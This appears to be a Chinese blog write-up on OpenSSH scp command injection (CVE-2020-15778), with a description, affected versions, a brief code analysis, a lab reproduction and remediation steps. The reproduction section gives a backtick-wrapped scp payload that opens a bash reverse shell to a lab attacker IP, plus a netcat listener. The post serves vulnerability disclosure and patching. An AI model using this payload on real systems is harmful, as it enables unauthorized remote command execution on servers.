OpenSSH命令注入漏洞(CVE-2020-15778)

​1、漏洞描述

OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,Linux/Unix都用OpenSSH软件提供SSH服务。SCP是 Secure Copy 的缩写, SCP 是 Linux系统下基于SSH登陆进行安全的远程文件拷贝命令。

允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。

利用条件:知道目标的ssh密码。

漏洞利用场景:一般在特定环境下利用,比如在知道SSH账户密码后,但禁用SSH登陆或SSH连接被阻止,服务器允许使用scp传文件的情况下,可对其进行命令注入,所以如果攻击者不知道ssh账密,此漏洞无法利用。

2、影响版本及严重程度

OpenSSH <= 8.3p1

严重程序:高危

3、漏洞简单分析

3.1 使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:

scp [文件名] [用户名]@[远程主机]:[目录]/[文件名]

示例:scp 123.txt root@192.168.233.134:root/123.txt

3.2 在执行上述命令后,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t [目录]/[文件名]

问题出在下图的"scp.c"文件的988行,未对传入的文件路径进行检测防护,攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。

4、漏洞复现

攻击源Kali:192.168.233.131

目标靶场Centos8:192.168.233.134

4.1 执行SCP命令执行,反弹shell

scp [上传任意文件] root@192.168.233.134:'`bash -i >& /dev/tcp/192.168.233.131/9999 0>&1`'

4.2 kali机器监听9999端口

nc -lvp 9999

4.3 反弹成功

5、修复方式

5.1 SSH账密确保为强口令且周期性更换密码

5.2 使用rsync代替SCP

5.3 升级OpenSSH为最新版openssh-8.8p1.tar.gz  

下载链接:https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/

参考链接:

https://www.safedog.cn/news.html?id=4500

https://www.cnblogs.com/ch4nge/p/13867062.html

https://blog.csdn.net/zetion_3/article/details/116053470

https://blog.csdn.net/qq_41901122/article/details/114437422

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值